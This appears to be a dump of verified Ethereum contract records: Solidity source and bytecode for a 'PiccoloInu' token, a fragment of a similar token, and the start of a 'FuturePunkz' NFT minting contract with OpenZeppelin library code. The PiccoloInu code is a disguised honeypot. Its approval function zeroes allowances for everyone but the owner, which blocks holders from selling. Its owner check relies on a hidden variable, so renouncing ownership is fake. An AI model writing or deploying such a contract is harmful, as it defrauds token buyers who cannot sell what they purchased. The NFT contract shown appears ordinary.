approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207d71be66312164f72984676ec206ebb6655887b30dc3d604d49295657e719acf64736f6c634300060c0033
[ 38 ]
0xf29a89890ebdbc3cc2e4e873fa3d87d27f0cf602
/* πŸŽ™ TG:https://t.me/PiccoloInu 🌏 Website: https://www.piccoloinu.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract PiccoloInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100000* 10**9 * 10**18; string private _name = ' Piccolo Inu '; string private _symbol = '$PINU'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204a09ff706a60b51dfc3fe08e7a27b0cb7e5d248697948f96e4f6e48a11282dc964736f6c634300060c0033
[ 38 ]
0xF29C07C60F71276d80062443644787Cb587EAE46
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract FuturePunkz is Ownable, EIP712, ERC721Enumerable { using Strings for uint256; bytes32 public constant WHITELIST_TYPEHASH = keccak256("Whitelist(address buyer,uint256 signedQty)"); address whitelistSigner; uint256 public constant TOTAL_MAX_QTY = 4444; uint256 public constant GIFT_MAX_QTY = 100; uint256 public constant PRESALES_MAX_QTY = 1000; uint256 public constant PRESALES_MAX_QTY_PER_MINTER = 3; uint256 public constant PUBLIC_SALE_MAX_QTY_PER_TRANSACTION = 7; // Remaining presale quantity can be purchase through public sale uint256 public constant PUBLIC_SALE_MAX_QTY = TOTAL_MAX_QTY - GIFT_MAX_QTY; uint256 public constant PRESALES_PRICE = 0.03 ether; uint256 public constant PUBLIC_SALES_PRICE = 0.04 ether; string private _contractURI; string private _tokenBaseURI; mapping(address => uint256) public presaleMinterToTokenQty; uint256 public presalesMintedQty = 0; uint256 public publicSalesMintedQty = 0; uint256 public giftedQty = 0; bool public isPresalesActivated; bool public isPublicSalesActivated; constructor() ERC721("Future Punkz", "PUNK") EIP712("Future Punkz", "1") {} function setWhitelistSigner(address _address) external onlyOwner { whitelistSigner = _address; } function getSigner( address _buyer, uint256 _signedQty, bytes memory _signature ) public view returns (address) { bytes32 digest = _hashTypedDataV4( keccak256(abi.encode(WHITELIST_TYPEHASH, _buyer, _signedQty)) ); return ECDSA.recover(digest, _signature); } function presalesMint( uint256 _mintQty, uint256 _signedQty, bytes memory _signature ) external payable { require( getSigner(msg.sender, _signedQty, _signature) == whitelistSigner, "Invalid signature" ); require(isPresalesActivated, "Presales is closed"); require( totalSupply() + _mintQty <= TOTAL_MAX_QTY, "Exceed total max limit" ); require( presalesMintedQty + _mintQty <= PRESALES_MAX_QTY, "Exceed presales max limit" ); require( presaleMinterToTokenQty[msg.sender] + _mintQty <= PRESALES_MAX_QTY_PER_MINTER, "Exceed presales max quantity per minter" ); require(msg.value >= PRESALES_PRICE * _mintQty, "Insufficient ETH"); presaleMinterToTokenQty[msg.sender] += _mintQty; for (uint256 i = 0; i < _mintQty; i++) { presalesMintedQty++; _safeMint(msg.sender, totalSupply() + 1); } } function publicSalesMint(uint256 _mintQty) external payable { require(isPublicSalesActivated, "Public sale is closed"); require( totalSupply() + _mintQty <= TOTAL_MAX_QTY, "Exceed total max limit" ); require( presalesMintedQty + publicSalesMintedQty + _mintQty <= PUBLIC_SALE_MAX_QTY, "Exceed public sale max limit" ); require( _mintQty <= PUBLIC_SALE_MAX_QTY_PER_TRANSACTION, "Exceed public sales max quantity per transaction" ); require(msg.value >= PUBLIC_SALES_PRICE * _mintQty, "Insufficient ETH"); for (uint256 i = 0; i < _mintQty; i++) { publicSalesMintedQty++; _safeMint(msg.sender, totalSupply() + 1); } } function gift(address[] calldata receivers) external onlyOwner { require( totalSupply() + receivers.length <= TOTAL_MAX_QTY, "Exceed total max limit" ); require( giftedQty + receivers.length <= GIFT_MAX_QTY, "Exceed gift max limit" ); for (uint256 i = 0; i < receivers.length; i++) { giftedQty++; _safeMint(receivers[i], totalSupply() + 1); } } function withdraw() external onlyOwner { require(address(this).balance > 0, "No amount to withdraw"); payable(msg.sender).transfer(address(this).balance); } function togglePresalesStatus() external onlyOwner { isPresalesActivated = !isPresalesActivated; } function togglePublicSalesStatus() external onlyOwner { isPublicSalesActivated = !isPublicSalesActivated; } function setContractURI(string calldata URI) external onlyOwner { _contractURI = URI; } // To support Opensea contract-level metadata // https://docs.opensea.io/docs/contract-level-metadata function contractURI() public view returns (string memory) { return _contractURI; } function setBaseURI(string calldata URI) external onlyOwner { _tokenBaseURI = URI; } // To support Opensea token metadata // https://docs.opensea.io/docs/metadata-standards function tokenURI(uint256 _tokenId) public view override(ERC721) returns (string memory) { require(_exists(_tokenId), "Token not exist"); return string(abi.encodePacked(_tokenBaseURI, _tokenId.toString())); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; 